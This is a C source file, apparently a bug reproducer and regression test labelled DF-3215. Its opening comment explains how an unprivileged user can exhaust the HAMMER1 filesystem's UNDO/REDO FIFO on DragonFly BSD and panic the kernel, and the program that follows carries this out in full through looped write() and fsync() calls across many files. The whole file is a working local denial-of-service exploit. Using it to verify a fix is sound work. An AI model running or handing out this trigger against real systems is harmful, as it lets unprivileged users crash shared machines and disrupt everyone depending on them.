DF-3215 / redo_fill.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * DF-3215 - HAMMER1 UNDO/REDO FIFO exhaustion trigger (unprivileged). * * hammer_generate_redo() (sys/vfs/hammer/hammer_redo.c:90-91) panics the * kernel when the UNDO/REDO FIFO has less than len + 48KB free: * * if (hammer_undo_space(trans) < len + HAMMER_BUFSIZE*3) * hpanic("insufficient UNDO/REDO FIFO space for redo!"); * * There is NO waiting/throttling path for REDO generation: the frontend * write() lays REDO records into the FIFO at memory speed (bcopy + crc, * hammer_redo.c:97-277) and the space is only reclaimed when the flusher * completes a full finalize cycle (hammer_flusher_finalize final=1 updates * the on-disk first_offset one cycle in arrears). * * Default vfs.hammer.fsync_mode=3 enables the REDO fast-fsync path * (hammer_vnops.c:225-246), so write()+fsync() loops re-arm the 4MB * per-inode REDO budget (vfs.hammer.limit_redo) forever. * * This program: for each file, a first fsync() turns REDO on for the inode * (hammer_vnops.c:253-259), then repeated (write chunk, fsync) pairs lay * unbounded REDO records into the FIFO. When the FIFO free space drops * below len+48KB the kernel panics. * * usage: redo_fill <dir> <nfiles> <chunk_bytes> <rounds> * (run as an unprivileged user on a mounted HAMMER v4+ filesystem) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char **argv) { const char *dir; int nfiles, rounds; long chunk; char path[1024]; char *buf; int *fds; int i, r; long total = 0; if (argc != 5) { fprintf(stderr, "usage: %s <dir> <nfiles> <chunk_bytes> <rounds>\n", argv[0]); exit(2); } dir = argv[1]; nfiles = atoi(argv[2]); chunk = atol(argv[3]); rounds = atoi(argv[4]); buf = malloc(chunk); if (buf == NULL) { perror("malloc"); exit(1); } memset(buf, 0x41, chunk); fds = calloc(nfiles, sizeof(int)); /* * Phase 0: create files and fsync each once. The first fsync() * performs a full flush and enables HAMMER_INODE_REDO for the * inode (hammer_vnops.c:253-259). */ for (i = 0; i < nfiles; i++) { snprintf(path, sizeof(path), "%s/f%04d", dir, i); fds[i] = open(path, O_CREAT | O_RDWR | O_TRUNC, 0666); if (fds[i] < 0) { fprintf(stderr, "open %s: %s\n", path, strerror(errno)); exit(1); } if (write(fds[i], buf, 4096) != 4096) { fprintf(stderr, "phase0 write %s: %s\n", path, strerror(errno)); exit(1); } } for (i = 0; i < nfiles; i++) { if (fsync(fds[i]) != 0) { fprintf(stderr, "phase0 fsync f%04d: %s\n", i, strerror(errno)); exit(1); } } printf("phase0: REDO enabled on %d files\n", nfiles); fflush(stdout); /* * Phase 1: each (write chunk, fsync) pair lays ~chunk bytes of * REDO records (with payload) into the UNDO/REDO FIFO. The * fast-fsync resets redo_count so the budget never runs out. */ for (r = 0; r < rounds; r++) { for (i = 0; i < nfiles; i++) { ssize_t n; n = write(fds[i], buf, chunk); if (n != chunk) { printf("write failed r=%d f=%d: %s\n", r, i, strerror(errno)); printf("total redo laid: %ld bytes " "(~%ld MB)\n", total, total >> 20); fflush(stdout); return (0); /* post-fix success path */ } total += chunk; if (fsync(fds[i]) != 0) { printf("fsync failed r=%d f=%d: %s\n", r, i, strerror(errno)); printf("total redo laid: %ld bytes " "(~%ld MB)\n", total, total >> 20); fflush(stdout); return (0); /* post-fix success path */ } } printf("round %d/%d: %ld MB of redo records laid\n", r + 1, rounds, total >> 20); fflush(stdout); } printf("done, no panic: total redo laid ~%ld MB\n", total >> 20); fflush(stdout); return (0); } |